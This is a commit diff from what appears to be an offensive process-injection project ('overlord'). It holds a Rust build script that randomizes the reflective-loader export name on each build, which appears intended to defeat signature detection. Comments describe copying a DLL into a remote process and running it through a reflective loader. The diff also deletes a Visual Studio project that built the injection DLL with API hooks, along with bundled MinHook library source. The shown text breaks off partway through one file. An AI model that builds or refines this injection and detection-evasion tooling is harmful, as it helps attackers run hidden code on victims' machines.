vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

remove old backstage injection and remove all legacy code

Browse Source
This commit is contained in:
KingKDot
2026-08-20 10:57:56 -05:00
parent ea22c83c37
commit 4ed32f6b65
43 changed files with 142 additions and 5795 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BackstageInjection-Rust/build.rs
+13 -18
View File
@@ -31,23 +31,19 @@ fn main() {
} }
fn generate_loader_entry() { fn generate_loader_entry() {
let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() { // The loader export is always a per-build randomized `x<hex>` name. The
Some("ReflectiveLoader") => "ReflectiveLoader".to_string(), // legacy fixed `ReflectiveLoader` export is no longer supported.
Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"), let seed = std::env::var("BACKSTAGE_LOADER_SEED")
None => { .ok()
let seed = std::env::var("BACKSTAGE_LOADER_SEED") .and_then(|value| value.parse::<u64>().ok())
.ok() .unwrap_or_else(|| {
.and_then(|value| value.parse::<u64>().ok()) SystemTime::now()
.unwrap_or_else(|| { .duration_since(UNIX_EPOCH)
SystemTime::now() .unwrap()
.duration_since(UNIX_EPOCH) .as_nanos() as u64
.unwrap() ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15)
.as_nanos() as u64 });
^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15) let name = format!("x{:06x}", seed & 0xFFFF_FF);
});
format!("x{:06x}", seed & 0xFFFF_FF)
}
};
let src = format!( let src = format!(
"// Generated by build.rs — do not edit.\n\ "// Generated by build.rs — do not edit.\n\
@@ -63,6 +59,5 @@ fn generate_loader_entry() {
let out_dir = std::env::var("OUT_DIR").unwrap(); let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src) std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
.expect("failed to write loader_entry.rs"); .expect("failed to write loader_entry.rs");
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT");
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED"); println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED");
} }
BackstageInjection-Rust/src/reflective.rs
+7 -6
View File
@@ -1,11 +1,12 @@
//! Position-independent reflective loader, pure Rust (no C). //! Position-independent reflective loader, pure Rust (no C).
//! //!
//! This is a direct port of the Harmony Security `ReflectiveLoader` that was //! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
//! previously compiled from `reflective/ReflectiveLoader.c`. The injection //! The injection stubs (`inject_reflective`) copy this DLL's raw bytes into a
//! stubs (`inject_reflective`) copy this DLL's raw bytes into a remote process //! remote process and start a thread on our exported loader entry, whose name
//! and start a thread on our exported `ReflectiveLoader`. When that thread //! is randomized per build (see build.rs) rather than a fixed string. When
//! begins, the copied image is *not* relocated and its imports are *not* //! that thread begins, the copied image is *not* relocated and its imports
//! resolved, so this function must be position independent end to end: //! are *not* resolved, so this function must be position independent end to
//! end:
//! //!
//! - It never reads relocatable data. All image structures are reached by //! - It never reads relocatable data. All image structures are reached by
//! computing addresses at runtime and reading with volatile scalar loads. //! computing addresses at runtime and reading with volatile scalar loads.
BackstageInjection/BackstageInjection.vcxproj
-300
View File
@@ -1,300 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
<RootNamespace>BackstageInjection</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;WIN_ARM;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\NtApiHooks.c" />
<ClCompile Include="Minhook\src\buffer.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hook.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\trampoline.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde32.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde64.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\NtApiHooks.h" />
<ClInclude Include="Minhook\include\MinHook.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
BackstageInjection/BackstageInjection.vcxproj.filters
-38
View File
@@ -1,38 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\NtApiHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtApiHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\MinHook.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
BackstageInjection/Minhook/include/MinHook.h
-185
View File
@@ -1,185 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
// Creates a hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszProcName [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
// Creates a hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszProcName [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char *WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
BackstageInjection/Minhook/src/buffer.c
-312
View File
@@ -1,312 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "buffer.h"
// Size of each memory block. (= page size of VirtualAlloc)
#define MEMORY_BLOCK_SIZE 0x1000
// Max range for seeking a memory block. (= 1024MB)
#define MAX_MEMORY_RANGE 0x40000000
// Memory protection flags to check the executable address.
#define PAGE_EXECUTE_FLAGS \
(PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
// Memory slot.
typedef struct _MEMORY_SLOT
{
union
{
struct _MEMORY_SLOT *pNext;
UINT8 buffer[MEMORY_SLOT_SIZE];
};
} MEMORY_SLOT, *PMEMORY_SLOT;
// Memory block info. Placed at the head of each block.
typedef struct _MEMORY_BLOCK
{
struct _MEMORY_BLOCK *pNext;
PMEMORY_SLOT pFree; // First element of the free slot list.
UINT usedCount;
} MEMORY_BLOCK, *PMEMORY_BLOCK;
//-------------------------------------------------------------------------
// Global Variables:
//-------------------------------------------------------------------------
// First element of the memory block list.
static PMEMORY_BLOCK g_pMemoryBlocks;
//-------------------------------------------------------------------------
VOID InitializeBuffer(VOID)
{
// Nothing to do for now.
}
//-------------------------------------------------------------------------
VOID UninitializeBuffer(VOID)
{
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
g_pMemoryBlocks = NULL;
while (pBlock)
{
PMEMORY_BLOCK pNext = pBlock->pNext;
